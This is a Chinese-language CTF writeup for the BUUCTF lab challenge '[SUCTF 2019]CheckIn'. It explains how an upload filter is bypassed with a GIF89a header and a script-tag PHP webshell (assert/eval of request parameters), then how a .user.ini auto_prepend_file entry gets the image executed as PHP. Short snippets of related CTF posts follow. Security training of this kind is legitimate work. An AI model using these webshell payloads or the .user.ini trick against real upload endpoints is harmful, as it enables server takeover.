首页 > 其他分享 > [SUCTF 2019]CheckIn

[SUCTF 2019]CheckIn

时间:2023-11-18 23:23:36浏览次数:42  
标签:SUCTF auto CheckIn 2019 ini file php 上传 user

有上传文件的按钮,猜测是上传漏洞

svUyJ3-8bFKenSYQ3t00--Slg5k_ddmagiZdj3MahQ4

上传php不行,.php3,.php5,.phtml等都不行

lX9QTtGCfuOl4yZwrZWuxNM35HGv03LQVIC_eysuqPc

改成jpg,检测到了内容 <?不通过,那就再换一种方式

<script language='php'>assert($_REQUEST['cmd'])</script>

oq-9HfqooLKBgaa3XpkuEdKfLAsAX6lpapa60skHPc0

检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

接着我们上传图片马,然后利用.user.ini解析图片马生成webshell

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
GIF89a
auto_prepend_file=d.jpg

wMf2danqPcIyLNZaT_M02QwWt0UWl204K6AMgFKd0Vc

eo2RYY7fQBngkgxsQbHGBVdA3zgBUcrO0xiCVde52nI

在这里可以看到uploads/c55e0cb61f7eb238df09ae30a206e5ee对应的文件夹下面有两个文件,一个是.user.ini,还一个是d.jpg,当然,还有一个index.php。那就可以构造URL了并用蚁剑连接一下:

http://baafcae3-1367-4cc4-b79f-8fab5c076710.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php

YS097zaqMzK0QvhWrPCttcjBwfx0BRM03m3VVBKefRE

这里试了好几次连接都失败,不知道是网站的问题还是一句话木马写的有问题,最终改成了

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

才上传成功

Gv3fVPNXmovy_RZWp5vKs_gusfTWobbf9AAyxj9VYV0

GzUjawt_izmkpVlx60W3mR04YZzzJzPIwgBz4NcDKK4

在根目录下找到flag{c1e8672f-e778-43f5-a629-f4241a79aa50}

标签:SUCTF,auto,CheckIn,2019,ini,file,php,上传,user
From: https://www.cnblogs.com/fishjumpriver/p/17841473.html

相关文章

  • 非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)
    题目环境:<br/>没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了做了好多这个作者出的题了,看来又要上强度了判断注入类型username:adminpassword:1这里把参数password作为注入点<br/>1'<br/>单引号的字符型注入万能密码注......
  • [ZJCTF 2019]NiZhuanSiWei
    <?php$text=$_GET["text"];$file=$_GET["file"];$password=$_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcometothezjctf")){echo"<br><h1&g......
  • 题解 「2019五校联考-镇海1」一棵树
    题意一棵\(n\)个结点的树,根节点为\(1\),结点\(i\)的父亲是\(f_i\)。\(f_1=f_0=0\)。对于每一个整数\(i\),假如\(f_{f_i}\)不为\(0\),那么就将\(f_{f_i}\)与\(i\)连上一条边。从每一个结点,每次随机向相邻的结点走。问每个结点期望走多少步才能走到根。对于\(60\%\),\(......
  • vs 2019安装QT
    vs2019安装QTvs2019安装页面QT安装页面QT下载项QT(在线安装程序):QT的OnlineInstaller(在线安装程序)是Qt官方提供的一种下载和安装Qt开发工具包的方法。与传统的离线安装程序不同,OnlineInstaller是一个小型的安装程序,它将下载和安装Qt的组件时仅下载所需的文件,而不是整......
  • 洛谷 P6662 [POI 2019] Przedszkole
    洛谷传送门\(k\)染色问题。给定\(n\)个点\(m\)条边无向图,求有多少种给每个点赋点权\(a_u\in[1,k]\)的方案,使得\(\forall(u,v)\inE,a_u\nea_v\)。Subtask\(1\):\(n\le15\)。考虑因为最终只会用到最多\(n\)种颜色,所以设恰好用了\(t\)种颜色,把\(k\)种颜......
  • GEE数据集——2019、2020、2021、2022和2023年全球固定宽带和移动(蜂窝)网络性能Shapefi
    全球固定宽带和移动(蜂窝)网络性能¶全球固定宽带和移动(蜂窝)网络性能,分配给缩放级别16网络墨卡托图块(赤道处约610.8米x610.8米)。数据以Shapefile格式和ApacheParquet格式提供,其几何形状以众所周知的文本(WKT)表示,投影在EPSG:4326中。下载速度、上传速度和延迟是通过......
  • 同一用户名,远程连接Windows Server 2019 时,如何禁止打开新窗口
    同一用户名,远程连接WindowsServer2019时,如何禁止打开新窗口答:您好!如果您想在远程连接WindowsServer2019时禁止打开新窗口,您可以尝试以下方法:使用组策略编辑器:打开组策略编辑器,可以通过运行"gpedit.msc"命令来打开。导航到"计算机配置">"管理模板">"Windows组件">"远......
  • 2019 CSP-J
    P5661[CSP-J2019]公交换乘 就是模拟,注意车票还有使用时间限制,所以在记录坐地铁的时候就要设置时限,如果坐公交车的时间过了所有优惠票那就不能坐,而且也要记录最左边可以用的车票位置#include<iostream>#include<cstdio>#include<cstring>#include<cmath>#include<vecto......
  • 蓝桥杯2019 估计人数
    蓝桥杯2019估计人数题目描述给定一个\(N\timesM\)的方格矩阵,矩阵中每个方格标记0或者1代表这个方格是不是有人踩过。已知一个人可能从任意方格开始,之后每一步只能向右或者向下走一格。走了若干步之后,这个人可以离开矩阵。这个人经过的方格都会被标记为1,包括开始和结......
  • Web_BUUCTF_WriteUp | [极客大挑战 2019]EasySQL
    题目靶机界面URL:http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/分析先在交互界面随便输入用户名和密码试试,界面显示如下:此时的URL为http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/check.php?username=admin&password=123对多出的......